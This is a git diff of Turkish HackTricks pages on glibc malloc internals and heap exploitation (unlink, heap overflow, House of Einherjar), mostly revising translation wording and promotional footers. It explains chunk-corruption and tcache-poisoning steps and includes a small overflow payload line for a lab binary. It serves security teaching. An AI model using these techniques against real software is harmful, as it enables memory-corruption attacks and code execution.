* `bck->fd-> bk != bck`: `malloc(): bozulmuş sıralanmamış parçalar`
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
<details>
<summary><code>_int_malloc</code> Büyük bin (indeksine göre)</summary>
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
@ -871,13 +877,13 @@ return p;
```
</details>
Eğer bir blok buna uygun bulunamazsa, devam et
Eğer bu için uygun bir parça bulunamazsa devam edin
### Büyük Bin (bir sonraki büyük)
Eğer tam olarak büyük bin içinde kullanılabilecek bir blok bulunamazsa, tüm bir sonraki büyük binler boyunca döngüye devam et (hemen daha büyük olan başlayarak) bulunana kadar.
Tam büyük binde kullanılabilecek bir parça bulunamazsa, tüm bir sonraki büyük binler arasında döngüye devam edin (hemen daha büyük olan başlayarak) bulunana kadar.
Bölünmüş bloğun geri kalanı sıralanmamış bine eklenir, last\_reminder güncellenir ve aynı güvenlik kontrolü yapılır:
Bölünmüş parçanın geri kalanı sıralanmamış bine eklenir, last\_reminder güncellenir ve aynı güvenlik kontrolü yapılır:
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
@ -1001,7 +1007,7 @@ return p;
Bu noktada, Üst parçadan yeni bir parça almanın zamanı geldi (yeterince büyükse).
Chunk boyutunun çok büyük olmadığından emin olmak için bir güvenlik kontrolü ile başlar (bozulmuş):
Parçanın boyutunun çok büyük olmadığından emin olmak için bir güvenlik kontrolü ile başlar (bozulmuş):
* `chunksize(av->top) > av->system_mem`: `malloc(): bozulmuş üst boyut`
@ -1076,8 +1082,6 @@ return p;
}
```
</details>
## sysmalloc
### sysmalloc başlangıç
@ -1157,7 +1161,7 @@ Eski üst parça bilgilerini alarak başlar ve aşağıdaki koşullardan bazıla
* Eski heap boyutu 0'dır (yeni heap)
* Önceki heap'in boyutu MINSIZE'dan büyük ve eski Üst kullanımda
* Heap sayfa boyutuna hizalanmıştır (0x1000, bu nedenle alt 12 bit 0 olmalıdır)
* Heap sayfa boyutuna hizalanmıştır (0x1000, bu nedenle düşük 12 bit 0 olmalıdır)
Ardından şunu da kontrol eder:
@ -1184,12 +1188,16 @@ prev_inuse (old_top) &&
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
```
</details>
### sysmalloc ana arena değil
Öncelikle bu heap için önceki heap'i **genişletmeye** çalışacaktır. Bu mümkün değilse **yeni bir heap tahsis etmeye** çalışacak ve onu kullanabilmek için işaretçileri güncelleyecektir.\
Son olarak, bu işe yaramazsa **`sysmalloc_mmap`**'ı çağırmayı deneyin.&#x20;
Son olarak, eğer bu işe yaramazsa, **`sysmalloc_mmap`** fonksiyonunu çağırmayı deneyin.&#x20;
</details>
<details>
<summary>sysmalloc ana arena değil</summary>
```c
if (av != &main_arena)
{
@ -1249,9 +1257,15 @@ return mm;
}
}
```
</details>
### sysmalloc ana alanı
Gerekli bellek miktarını hesaplamaya başlar. Eski kullanılmayan belleği kullanmak için ardışık bellek istemeye başlayacak. Ayrıca bazı hizalama işlemleri gerçekleştirilir.
Gerekli bellek miktarını hesaplamaya başlar. Eski kullanılmayan belleği kullanmak mümkün olacağından, ardışık bellek istemeye başlayacaktır. Ayrıca bazı hizalama işlemleri gerçekleştirilir.
<details>
<summary>sysmalloc ana alanı</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
@ -1307,7 +1321,9 @@ LIBC_PROBE (memory_sbrk_more, 2, brk, size);
```
### sysmalloc ana arena önceki hata 1
Eğer önceki işlem `MORECORE_FAILURE` döndürdüyse, hafıza tahsis etmek için `sysmalloc_mmap_fallback` kullanmayı tekrar dene.
Eğer önceki işlem `MORECORE_FAILURE` döndürdüyse, hafıza tahsis etmek için `sysmalloc_mmap_fallback` kullanarak tekrar deneyin.
</details>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10
@ -1527,7 +1543,7 @@ _int_free (av, old_top, 1);
### sysmalloc finali
Arenayı bilgileri güncelleyerek tahsisi tamamla
Arenayı bilgileri güncelleyerek tahsisatı tamamla
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
@ -1649,16 +1665,17 @@ return chunk2mem (p);
```
</details>
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# unlink
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### Kod
```c
@ -82,7 +83,7 @@ Libc Sızıntıları:
* P, çift yönlü bağlı listedeki başta bulunuyorsa, `bk` libc'te `malloc_state`'e işaret edecektir
* P, çift yönlü bağlı listedeki sonunda bulunuyorsa, `fd` libc'te `malloc_state`'e işaret edecektir
* Çift yönlü bağlı liste yalnızca bir boş parça içeriyorsa, P çift yönlü bağlı listede bulunur ve hem `fd` hem de `bk`, `malloc_state` içindeki adresi sızdırabilir.
* Çift yönlü bağlı listede yalnızca bir boş parça bulunduğunda, P çift yönlü bağlı listede bulunur ve hem `fd` hem de `bk`, `malloc_state` içindeki adresi sızdırabilir.
Heap Sızıntıları:

View file

@ -1,24 +1,25 @@
# Heap Taşması
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Bir heap taşması, heap'te bir [**yığın taşması**](../stack-overflow/) gibi. Temelde, heap'te belirli bir veriyi depolamak için bir alan ayrılmış ve **depolanan veri ayrılan alandan daha büyük olmuş.**
Yığın taşmalarında, yığından bazı kayıtların (örneğin yönlendirme işaretçisi veya yığın çerçevesi) geri yükleneceğini ve bunun istismar edilebileceğini biliyoruz. Heap taşmalarında ise, taşınabilecek bir **duyarlı bilgi varsayılan olarak** heap parçasında depolanmaz. Bununla birlikte, hassas bilgi veya işaretçiler olabilir, bu nedenle bu zafiyetin **kritikliği**, bu zafiyetten **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl istismar edebileceğine bağlıdır.
Yığın taşmalarında, yığından bazı kayıtların (örneğin yönlendirme işaretçisi veya yığın çerçevesi) geri yükleneceğini ve bunun istismar edilebileceğini biliyoruz. Heap taşmalarında ise, taşınabilecek **varsayılan olarak hassas bilgi depolanan** bir heap parçası yok. Bununla birlikte, hassas bilgi veya işaretçiler olabilir, bu nedenle bu zafiyetin **kritikliği**, bu zafiyetin **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl istismar edebileceğine bağlıdır.
{% hint style="success" %}
Taşma ofsetlerini bulmak için [**yığın taşmalarında**](../stack-overflow/#finding-stack-overflows-offsets) olduğu gibi aynı desenleri kullanabilirsiniz.
@ -26,48 +27,49 @@ Taşma ofsetlerini bulmak için [**yığın taşmalarında**](../stack-overflow/
### Yığın Taşmaları vs. Heap Taşmaları
Yığın taşmalarında, zafiyet tetiklendiğinde yığında bulunan düzen ve veriler oldukça güvenilirdir. Bu, yığının lineer olması, her zaman çarpışan bellekte artması, programın belirli yerlerinde yığın belleğinin genellikle benzer türde verileri depolaması ve her işlevin kullandığı yığın kısmının sonunda bazı işaretçilerle belirli bir yapıya sahip olması nedeniyledir.
Yığın taşmalarında, zafiyet tetiklendiğinde yığında bulunacak düzen ve veri oldukça güvenilirdir. Bu, yığının lineer olduğu, hafızanın çakışarak arttığı, programın belirli yerlerinde yığın belleğinin genellikle benzer türde verileri depoladığı ve her işlev tarafından kullanılan yığın kısmının sonunda bazı işaretçilerle belirli bir yapıya sahip olduğu için geçerlidir.
Ancak, bir heap taşması durumunda, kullanılan bellek lineer değildir, ancak **ayrılmış pozisyonlarda genellikle ayrılmış parçalar** (yan yana olmayan) vardır çünkü boyuta göre ayrımları ayıran **kutular ve bölgeler** ve **önceki serbest bırakılan bellek** yeni parçalar ayrılmadan önce kullanılır. Bir heap taşması bulunduğunda, taşan nesnenin hafızadaki istenen nesnenin yanında olmasını sağlayacak **güvenilir bir yol bulunması gerekir**.
Ancak, bir heap taşması durumunda, kullanılan bellek lineer değil, **ayrılmış konumlarda genellikle ayrılmış parçalar** (yan yana değil) çünkü boyuta göre ayrımları ayıran **kutular ve bölgeler** ve **önceki serbest bırakılan bellek kullanılır**. Bir heap taşmasıyla çakışacak nesnenin hangisi olduğunu bilmek **karmaşıktır**. Bu nedenle, bir heap taşması bulunduğunda, istenen nesnenin bellekteki bir sonraki olmasını sağlamak için **güvenilir bir yol bulunması gerekir**.
Bunun için kullanılan tekniklerden biri **Heap Grooming**dir ve örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılmaktadır. Yazıda, iOS çekirdeğinde bir bölgenin bellekteki bellek parçalarını depolamak için hafızasının tükendiği durumda, bir çekirdek sayfasıyla genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü ve bunların sırayla kullanılacağııklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçaların bu saldırıların zorlaştırılması için rastgele bir şekilde kullanıldığı).
Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir ve örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılmaktadır. Yazıda, iOS çekirdeğinde bir bölge belleği, bellek parçalarını depolamak için bellekten tükendiğinde, bir çekirdek sayfası ile genişletilir ve bu sayfa beklenen boyuttaki parçalara bölünür (iOS sürüm 9.2'ye kadar, ardından bu parçaların bu saldırıların zorlaştırılması için rastgele bir şekilde kullanıldığı belirtilir).
Bu nedenle, bir heap taşması gerçekleştiğinde, taşan nesnenin bir kurban sırayla çarpışmasını zorlamak için birkaç **`kalloc`** tarafından zorlanır ve tüm boş parçaların doldurulduğundan ve yeni bir sayfa oluşturulduğundan emin olunmaya çalışılır.
Bu nedenle, bir heap taşması gerçekleştiğinde, taşan nesnenin çakışacak şekilde zorlanması için birkaç **`kalloc`'un** birkaç iş parçası tarafından zorlanması gerekmektedir ve tüm boş parçaların doldurulduğundan ve yeni bir sayfa oluşturulduğundan emin olunmalıdır.
Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach port ile ilişkilendirilmiş dış hattan tahsis** ideal bir adaydır. Mesajın boyutunu şekillendirerek, `kalloc` tahsisinin boyutunu tam olarak belirlemek mümkündür ve karşılık gelen mach portu yok edildiğinde, karşılık gelen tahsis hemen `kfree`'ye geri bırakılacaktır.
Ardından, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, öğeleri son giren ilk çıkan düzeninde serbest bırakır**, bu da temelde bazı yer tutucuların serbest bırakıldığında ve saldırganın taşmaya duyarlı nesneyi ayırmaya çalışırken birkaç kurban nesne tahsis etmeye çalışırken, bu nesnenin bir kurban nesneyi takip edeceği olasılığının yüksek olduğu anlamına gelir.
Ardından, bazı bu yer tutucular **serbest bırakılabilir**. **`kalloc.4096` serbest listesi elemanları son giren ilk çıkan düzeninde serbest bırakır**, bu da temelde bazı yer tutucuların serbest bırakıldığı ve saldırının taşma olabilecek nesneyi tahsis etmeye çalışırken birkaç kurban nesne tahsis etmeye çalıştığı durumda, bu nesnenin bir kurban nesne tarafından takip edileceği olasılığının yüksek olduğu anlamına gelir.
### Örnek libc
[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) bir temel Heap taşması emülasyonu bulunabilir. Bir sonraki parçanın kullanımdaki önceki bitini ve önceki boyutun konumunu değiştirerek, kullanılan bir parçayı **birleştirmek mümkündür** (kullanılmadığına inandırarak) ve ardından tekrar tahsis edilerek farklı bir işaretçide kullanılan verilerin üzerine yazılabilir.
[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) bir temel Heap taşması emülasyonu bulunabilir. Bir sonraki parçanın kullanılan önceki bitini ve önceki boyutun konumunu değiştirerek, **kullanılan bir parçayı birleştirmek** (kullanılmadığına inandırarak) ve ardından tekrar tahsis ederek farklı bir işaretçide kullanılan verileri üzerine yazmak mümkündür.
[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) örneğinde, bir **heap taşmasının** bayrağı **almak için** kullanılabileceği bir CTF'nin çok temel bir örneği gösterilir.
[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) örneğinde, bir **heap taşmasının** bayrağı **almak için** kazan fonksiyonunu çağırmak için **kullanılabilecek** bir CTF'nin çok temel bir örneği gösterilmektedir.
[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) örneğinde, bir tampon taşmasının istismar edilerek, **kullanıcının gireceği keyfi verilerin yazılacağı bir adrese** yakın bir parçada **üzerine yazılması mümkün olabilir**.
[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) örneğinde, bir tampon taşmasının **kullanıcıdan alınan keyfi verinin yazılacağı yakın bir parçada bir adresi üzerine yazmak** mümkün olduğu görülebilir.
### Örnek ARM64
[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, bir komutun taşan parçadan bir sonraki parçada depolandığı bir heap taşması örneği bulunabilir. Bu nedenle, basit bir saldırı ile komutun üzerine yazılarak yürütülecek komut değiştirilebilir.
[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, yığın taşması örneği bulunabilir, burada taşan parçadan sonraki parçada saklanacak bir komut bulunmaktadır. Bu nedenle, basit bir saldırı ile komutu değiştirerek yürütülecek komutu değiştirmek mümkündür.
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Diğer örnekler
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
* Bir Tamsayı Taşma zafiyetini kullanarak Bir Yığın Taşması elde ediyoruz.
* Taşan parçanın içindeki bir `struct`'ın işaretçilerini bozarak bir işlevi `system` gibi bir işlev olarak ayarlıyoruz ve kod yürütme elde ediyoruz.
* Bir Tamsayı Taşma zafiyetini kullanarak Bir Heap Taşması elde ediyoruz.
* Taşan parçanın içindeki bir `struct`'ın işaretçilerini bozarak bir işlevi, örneğin `system` işlevini ayarlıyoruz ve kod yürütme elde ediyoruz.
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'lar göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,59 +1,60 @@
# Einherjar Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
### Kod
* Örneği kontrol et [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* Veya şu adresten bak [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (tcache'yi doldurmanız gerekebilir)
* Örneği kontrol edin: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* Veya şu adresten bakın: [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (tcache'yi doldurmanız gerekebilir)
### Amaç
* Hemen hemen her belirli adreste bellek tahsis etmek.
* Hemen hemen herhangi bir belirli adreste bellek tahsis etmek.
### Gereksinimler
* Bir parça tahsis etmek istediğimizde sahte bir parça oluşturun:
* Sağlamlık kontrollerini atlamak için işaretçileri kendisine işaret etmesini sağlayın
* Kontrolü atlamak için işaretçileri kendisine işaret etmesini sağlayın
* Bir parçadan diğerine bir null bayt ile bir bayt taşması yaparak `PREV_INUSE` bayrağını değiştirin.
* Yanlışlıkla kullanılan parçanın `prev_size`'ına kendisi ile sahte parça arasındaki farkı gösterin
* Sahte parça boyutu da sağlamlık kontrollerini atlamak için aynı boyutta olmalıdır
* Yanlışlıkla kullanılan parçanın `prev_size`'ına kendisi ile sahte parça arasındaki farkı belirtin
* Sahte parça boyutu da kontrolü atlamak için aynı boyutta olmalıdır
* Bu parçaları oluşturmak için bir heap sızıntısına ihtiyacınız olacak.
### Saldırı
* Saldırgan tarafından kontrol edilen bir parçanın içine `fd` ve `bk` ile işaret eden bir sahte parça oluşturulur ve korumaları atlamak için orijinal parçaya işaret eder
* Saldırgan tarafından kontrol edilen bir parçanın içine `A` sahte bir parça oluşturulur ve korumaları atlamak için `fd` ve `bk` ile orijinal parçaya işaret eder
* 2 diğer parça (`B` ve `C`) tahsis edilir
* `B`'deki bir bayt taşması kullanılarak `prev in use` biti temizlenir ve `C` parçasının tahsis edildiği yer ile önce oluşturulan sahte `A` parçası arasındaki farkla `prev_size` verisi üzerine yazılır
* Bu `prev_size` ve sahte parçadaki boyut olan `A` aynı olmalıdır ki kontrolleri atlayabilsin.
* Sonra, tcache doldurulur
* Sonra, `C` serbest bırakılır böylece sahte parça `A` ile birleşir
* Sonra, sahte `A` parçasında başlayacak ve `B` parçayı kapsayacak yeni bir parça `D` oluşturulur
* `B`'deki bir hata kullanılarak `prev in use` biti temizlenir ve `prev_size` verisi, önce oluşturulan sahte `A` parçasının yerinden `C` parçasının tahsis edildiği yere kadar olan farkla değiştirilir
* Bu `prev_size` ve sahte parçadaki boyut olan `A` aynı olmalıdır kontrolü atlamak için.
* Ardından, tcache doldurulur
* Sonra, `C` serbest bırakılır, böylece sahte parça `A` ile birleşir
* Sonra, sahte `A` parçasında başlayacak ve `B` parçasını kapsayacak yeni bir parça `D` oluşturulur
* Einherjar Evi burada biter
* Bu, bir fast bin saldırısı veya Tcache zehirlenmesi ile devam ettirilebilir:
* `B`'yi serbest bırakarak onu fast bin / Tcache'ye ekleyin
* `B`'nin `fd`si üzerine yazılarak hedef adrese işaret etmesi sağlanır, çünkü içinde `B` bulunduran `D` parçasını içerir
* Sonra, 2 malloc yapılır ve ikincisi **hedef adresi tahsis edecek**
* Bu, hızlı bin saldırısı veya Tcache zehirlenmesi ile devam ettirilebilir:
